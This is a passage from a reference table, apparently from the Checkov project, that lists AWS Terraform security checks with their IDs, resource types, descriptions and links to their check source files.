Terraform | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisStreamEncryptionType.py) | | 106 | CKV_AWS_44 | resource | aws_neptune_cluster | Ensure Neptune storage is securely encrypted | Terraform | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterStorageEncrypted.py) | | 107 | CKV_AWS_45 | resource | aws_lambda_function | Ensure no hard-coded secrets exist in lambda environment | Terraform | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaEnvironmentCredentials.py) | | 108 | CKV_AWS_46 | resource | aws_instance | Ensure no hard-coded secrets exist in EC2 user data | Terraform | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py) | | 109 | CKV_AWS_46 | resource | aws_launch_configuration | Ensure no hard-coded secrets exist in EC2 user data | Terraform | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py) | | 110 | CKV_AWS_46 | resource | aws_launch_template | Ensure no hard-coded secrets exist in EC2 user data | Terraform | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py) | | 111 | CKV_AWS_47 | resource | aws_dax_cluster | Ensure DAX is encrypted at rest (default is unencrypted) | Terraform | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DAXEncryption.py) | | 112 | CKV_AWS_48 | resource | aws_mq_broker | Ensure MQ Broker logging is enabled | Terraform | [MQBrokerLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerLogging.py) | | 113 | CKV_AWS_49 | data | aws_iam_policy_document | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py) | | 114 | CKV_AWS_50 | resource | aws_lambda_function | X-Ray tracing is enabled for Lambda | Terraform | [LambdaXrayEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py) | | 115 | CKV_AWS_51 | resource | aws_ecr_repository | Ensure ECR Image Tags are immutable | Terraform | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRImmutableTags.py) | | 116 | CKV_AWS_53 | resource | aws_s3_bucket_public_access_block | Ensure S3 bucket has block public ACLS enabled | Terraform | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BlockPublicACLs.py) | | 117 | CKV_AWS_54 | resource | aws_s3_bucket_public_access_block | Ensure S3 bucket has block public policy enabled | Terraform | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BlockPublicPolicy.py) | | 118 | CKV_AWS_55 | resource | aws_s3_bucket_public_access_block | Ensure S3 bucket has ignore public ACLs enabled | Terraform | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3IgnorePublicACLs.py) | | 119 | CKV_AWS_56 | resource | aws_s3_bucket_public_access_block | Ensure S3 bucket has 'restrict_public_buckets' enabled | Terraform | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3RestrictPublicBuckets.py) | | 120 | CKV_AWS_57 | resource | aws_s3_bucket | S3 Bucket has an ACL defined which allows public WRITE access. | Terraform | [S3PublicACLWrite.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml) | | 121 | CKV_AWS_57 | resource | aws_s3_bucket_acl | S3 Bucket has an ACL defined which allows public WRITE access. | Terraform | [S3PublicACLWrite.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml) | | 122 | CKV_AWS_58 | resource | aws_eks_cluster | Ensure EKS Cluster has Secrets Encryption Enabled | Terraform | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSSecretsEncryption.py) | | 123 | CKV_AWS_59 | resource | aws_api_gateway_method | Ensure there is no open access to back-end resources through API | Terraform | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAuthorization.py) | | 124 | CKV_AWS_60 | resource | aws_iam_role | Ensure IAM role allows only specific services or principals to assume it | Terraform | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMRoleAllowsPublicAssume.py) | | 125 | CKV_AWS_61 | resource | aws_iam_role | Ensure AWS IAM policy does not allow assume role permission across all services | Terraform | [IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py) | | 126 | CKV_AWS_62 | resource | aws_iam_group_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 127 | CKV_AWS_62 | resource | aws_iam_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 128 | CKV_AWS_62 | resource | aws_iam_role_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 129 | CKV_AWS_62 | resource | aws_iam_user_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 130 | CKV_AWS_62 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies that allow full "*-*" administrative privileges are not created | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py) | | 131 | CKV_AWS_63 | resource | aws_iam_group_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 132 | CKV_AWS_63 | resource | aws_iam_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 133 | CKV_AWS_63 | resource | aws_iam_role_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 134 | CKV_AWS_63 | resource | aws_iam_user_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 135 | CKV_AWS_63 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 136 | CKV_AWS_64 | resource | aws_redshift_cluster | Ensure all data stored in the Redshift cluster is securely encrypted at rest | Terraform | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterEncryption.py) | | 137 | CKV_AWS_65 | resource | aws_ecs_cluster | Ensure container insights are enabled on ECS cluster | Terraform | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterContainerInsights.py) | | 138 | CKV_AWS_66 | resource | aws_cloudwatch_log_group | Ensure that CloudWatch Log Group specifies retention days | Terraform | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetention.py) | | 139 | CKV_AWS_67 | resource | aws_cloudtrail | Ensure CloudTrail is enabled in all Regions | Terraform | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailMultiRegion.py) | | 140 | CKV_AWS_68 | resource | aws_cloudfront_distribution | CloudFront Distribution should have WAF enabled | Terraform | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFEnabled.py) | | 141 | CKV_AWS_69 | resource | aws_mq_broker | Ensure MQ Broker is not publicly exposed | Terraform | [MQBrokerNotPubliclyExposed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerNotPubliclyExposed.py) | | 142 | CKV_AWS_70 | resource | aws_s3_bucket | Ensure S3 bucket does not allow an action with any Principal | Terraform | [S3AllowsAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py) | | 143 | CKV_AWS_70 | resource | aws_s3_bucket_policy | Ensure S3 bucket does not allow an action with any Principal | Terraform | [S3AllowsAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py) | | 144 | CKV_AWS_71 | resource | aws_redshift_cluster | Ensure Redshift Cluster logging is enabled | Terraform | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterLogging.py) | | 145 | CKV_AWS_72 | resource | aws_sqs_queue_policy | Ensure SQS policy does not allow ALL (*) actions. | Terraform | [SQSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSPolicy.py) | | 146 | CKV_AWS_73 | resource | aws_api_gateway_stage | Ensure API Gateway has X-Ray Tracing enabled | Terraform | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayXray.py) | | 147 | CKV_AWS_74 | resource | aws_docdb_cluster | Ensure DocumentDB is encrypted at rest (default is unencrypted) | Terraform | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBEncryption.py) | | 148 | CKV_AWS_75 | resource | aws_globalaccelerator_accelerator | Ensure Global Accelerator accelerator has flow logs enabled | Terraform | [GlobalAcceleratorAcceleratorFlowLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py) | | 149 | CKV_AWS_76 | resource | aws_api_gateway_stage | Ensure API Gateway has Access Logging enabled | Terraform | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py) | | 150 | CKV_AWS_76 | resource | aws_apigatewayv2_stage | Ensure API Gateway has Access Logging enabled | Terraform | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py) | | 151 | CKV_AWS_77 | resource | aws_athena_database | Ensure Athena Database is encrypted at rest (default is unencrypted) | Terraform | [AthenaDatabaseEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaDatabaseEncryption.py) | | 152 | CKV_AWS_78 | resource | aws_codebuild_project | Ensure that CodeBuild Project encryption is not disabled | Terraform | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeBuildProjectEncryption.py) | | 153 | CKV_AWS_79 | resource | aws_instance | Ensure Instance Metadata Service Version 1 is not enabled | Terraform | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py) | | 154 | CKV_AWS_79 | resource | aws_launch_configuration | Ensure Instance Metadata Service Version 1 is not enabled | Terraform | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py) | | 155 | CKV_AWS_79 | resource | aws_launch_template | Ensure Instance Metadata Service Version 1 is not enabled | Terraform | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py) | | 156 | CKV_AWS_80 | resource | aws_msk_cluster | Ensure MSK Cluster logging is enabled | Terraform | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterLogging.py) | | 157 | CKV_AWS_81 | resource | aws_msk_cluster | Ensure MSK Cluster encryption in rest and transit is enabled | Terraform | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterEncryption.py) | | 158 | CKV_AWS_82 | resource | aws_athena_workgroup | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption | Terraform | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaWorkgroupConfiguration.py) | | 159 | CKV_AWS_83 | resource | aws_elasticsearch_domain | Ensure Elasticsearch Domain enforces HTTPS | Terraform | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py) | | 160 | CKV_AWS_83 | resource | aws_opensearch_domain | Ensure Elasticsearch Domain enforces HTTPS | Terraform | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py) | | 161 | CKV_AWS_84 | resource | aws_elasticsearch_domain | Ensure Elasticsearch Domain Logging is enabled | Terraform | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py) | | 162 | CKV_AWS_84 | resource | aws_opensearch_domain | Ensure Elasticsearch Domain Logging is enabled | Terraform | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py) | | 163 | CKV_AWS_85 | resource | aws_docdb_cluster | Ensure DocumentDB Logging is enabled | Terraform | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBLogging.py) | | 164 | CKV_AWS_86 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution has Access Logging enabled | Terraform | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionLogging.py) | | 165 | CKV_AWS_87 | resource | aws_redshift_cluster | Redshift cluster should not be publicly accessible | Terraform | [RedshitClusterPubliclyAvailable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshitClusterPubliclyAvailable.py) | | 166 | CKV_AWS_88 | resource | aws_instance | EC2 instance should not have public IP. | Terraform | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2PublicIP.py) | | 167 | CKV_AWS_88 | resource | aws_launch_template | EC2 instance should not have public IP. | Terraform | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2PublicIP.py) | | 168 | CKV_AWS_89 | resource | aws_dms_replication_instance | DMS replication instance should not be publicly accessible | Terraform | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py) | | 169 | CKV_AWS_90 | resource | aws_docdb_cluster_parameter_group | Ensure DocumentDB TLS is not disabled | Terraform | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBTLS.py) | | 170 | CKV_AWS_91 | resource | aws_alb | Ensure the ELBv2 (Application/Network) has access logging enabled | Terraform | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py) | | 171 | CKV_AWS_91 | resource | aws_lb | Ensure the ELBv2 (Application/Network) has access logging enabled | Terraform | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py) | | 172 | CKV_AWS_92 | resource | aws_elb | Ensure the ELB has access logging enabled | Terraform | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBAccessLogs.py) | | 173 | CKV_AWS_93 | resource | aws_s3_bucket | Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes) | Terraform | [S3ProtectAgainstPolicyLockout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py) | | 174 | CKV_AWS_93 | resource | aws_s3_bucket_policy | Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes) | Terraform | [S3ProtectAgainstPolicyLockout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py) | | 175 | CKV_AWS_94 | resource | aws_glue_data_catalog_encryption_settings | Ensure Glue Data Catalog Encryption is enabled | Terraform | [GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueDataCatalogEncryption.py) | | 176 | CKV_AWS_96 | resource | aws_rds_cluster | Ensure all data stored in Aurora is securely encrypted at rest | Terraform | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AuroraEncryption.py) | | 177 | CKV_AWS_97 | resource | aws_ecs_task_definition | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions | Terraform | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py) | | 178 | CKV_AWS_98 | resource | aws_sagemaker_endpoint_configuration | Ensure all data stored in the Sagemaker Endpoint is securely encrypted at rest | Terraform | [SagemakerEndpointConfigurationEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerEndpointConfigurationEncryption.py) | | 179 | CKV_AWS_99 | resource | aws_glue_security_configuration | Ensure Glue Security Configuration Encryption is enabled | Terraform | [GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfiguration.py) | | 180 | CKV_AWS_100 | resource | aws_eks_node_group | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0 | Terraform | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSNodeGroupRemoteAccess.py) | | 181 | CKV_AWS_101 | resource | aws_neptune_cluster | Ensure Neptune logging is enabled | Terraform | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterLogging.py) | | 182 | CKV_AWS_102 | resource | aws_neptune_cluster_instance | Ensure Neptune Cluster instance is not publicly available | Terraform | [NeptuneClusterInstancePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterInstancePublic.py) | | 183 | CKV_AWS_103 | resource | aws_alb_listener | Ensure that load balancer is using at least TLS 1.2 | Terraform | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml) | | 184 | CKV_AWS_103 | resource | aws_lb | Ensure that load balancer is using at least TLS 1.2 | Terraform | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml) | | 185 | CKV_AWS_103 | resource | aws_lb_listener | Ensure that load balancer is using at least TLS 1.2 | Terraform | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml) | | 186 | CKV_AWS_104 | resource | aws_docdb_cluster_parameter_group | Ensure DocumentDB has audit logs enabled | Terraform | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBAuditLogs.py) | | 187 | CKV_AWS_105 | resource | aws_redshift_parameter_group | Ensure Redshift uses SSL | Terraform | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedShiftSSL.py) | | 188 | CKV_AWS_106 | resource | aws_ebs_encryption_by_default | Ensure EBS default encryption is enabled | Terraform | [EBSDefaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSDefaultEncryption.py) | | 189 | CKV_AWS_107 | data | aws_iam_policy_document | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py) | | 190 | CKV_AWS_108 | data | aws_iam_policy_document | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMDataExfiltration.py) | | 191 | CKV_AWS_109 | data | aws_iam_policy_document | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py) | | 192 | CKV_AWS_110 | data | aws_iam_policy_document | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py) | | 193 | CKV_AWS_111 | data | aws_iam_policy_document | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMWriteAccess.py) | | 194 | CKV_AWS_112 | resource | aws_ssm_document | Ensure Session Manager data is encrypted in transit | Terraform | [SSMSessionManagerDocumentEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentEncryption.py) | | 195 | CKV_AWS_113 | resource | aws_ssm_document | Ensure Session Manager logs are enabled and encrypted | Terraform | [SSMSessionManagerDocumentLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentLogging.py) | | 196 | CKV_AWS_114 | resource | aws_emr_cluster | Ensure that EMR clusters with Kerberos have Kerberos Realm set | Terraform | [EMRClusterKerberosAttributes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterKerberosAttributes.py) | | 197 | CKV_AWS_115 | resource | aws_lambda_function | Ensure that AWS Lambda function is configured for function-level concurrent execution limit | Terraform | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py) | | 198 | CKV_AWS_116 | resource | aws_lambda_function | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) | Terraform | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaDLQConfigured.py) | | 199 | CKV_AWS_117 | resource | aws_lambda_function | Ensure that AWS Lambda function is configured inside a VPC | Terraform | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaInVPC.py) | | 200 | CKV_AWS_118 | resource | aws_db_instance | Ensure that enhanced monitoring is enabled for Amazon RDS instances | Terraform | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py) | | 201 | CKV_AWS_118 | resource | aws_rds_cluster_instance | Ensure that enhanced monitoring is enabled for Amazon RDS instances | Terraform | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py) | | 202 | CKV_AWS_119 | resource | aws_dynamodb_table | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK | Terraform | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBTablesEncrypted.py) | | 203 | CKV_AWS_120 | resource | aws_api_gateway_stage | Ensure API Gateway caching is enabled | Terraform | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayCacheEnable.py) | | 204 | CKV_AWS_121 | resource | aws_config_configuration_aggregator | Ensure AWS Config is enabled in all regions | Terraform | [ConfigConfgurationAggregatorAllRegions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConfigConfgurationAggregatorAllRegions.py) | | 205 | CKV_AWS_122 | resource | aws_sagemaker_notebook_instance | Ensure that direct internet access is disabled for an Amazon SageMaker Notebook Instance | Terraform | [SageMakerInternetAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SageMakerInternetAccessDisabled.py) | | 206 | CKV_AWS_123 | resource | aws_vpc_endpoint_service | Ensure that VPC Endpoint Service is configured for Manual Acceptance | Terraform | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/VPCEndpointAcceptanceConfigured.py) | | 207 | CKV_AWS_124 | resource | aws_cloudformation_stack | Ensure that CloudFormation stacks are sending event notifications to an SNS topic | Terraform | [CloudformationStackNotificationArns.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudformationStackNotificationArns.py) | | 208 | CKV_AWS_126 | resource | aws_instance | Ensure that detailed monitoring is enabled for EC2 instances | Terraform | [EC2DetailedMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2DetailedMonitoringEnabled.py) | | 209 | CKV_AWS_127 | resource | aws_elb | Ensure that Elastic Load Balancer(s) uses SSL certificates provided by AWS Certificate Manager | Terraform | [ELBUsesSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBUsesSSL.py) | | 210 | CKV_AWS_129 | resource | aws_db_instance | Ensure that respective logs of Amazon Relational Database Service (Amazon RDS) are enabled | Terraform | [DBInstanceLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceLogging.py) | | 211 | CKV_AWS_130 | resource | aws_subnet | Ensure VPC subnets do not assign public IP by default | Terraform | [SubnetPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SubnetPublicIP.py) | | 212 | CKV_AWS_131 | resource | aws_alb | Ensure that ALB drops HTTP headers | Terraform | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py) | | 213 | CKV_AWS_131 | resource | aws_lb | Ensure that ALB drops HTTP headers | Terraform | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py) | | 214 | CKV_AWS_133 | resource | aws_db_instance | Ensure that RDS instances has backup policy | Terraform | [DBInstanceBackupRetentionPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py) | | 215 | CKV_AWS_133 | resource | aws_rds_cluster | Ensure that RDS instances has backup policy | Terraform | [DBInstanceBackupRetentionPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py) | | 216 | CKV_AWS_134 | resource | aws_elasticache_cluster | Ensure that Amazon ElastiCache Redis clusters have automatic backup turned on | Terraform | [ElasticCacheAutomaticBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticCacheAutomaticBackup.py) | | 217 | CKV_AWS_135 | resource | aws_instance | Ensure that EC2 is EBS optimized | Terraform | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2EBSOptimized.py) | | 218 | CKV_AWS_136 | resource | aws_ecr_repository | Ensure that ECR repositories are encrypted using KMS | Terraform | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRRepositoryEncrypted.py) | | 219 | CKV_AWS_137 | resource | aws_elasticsearch_domain | Ensure that Elasticsearch is configured inside a VPC | 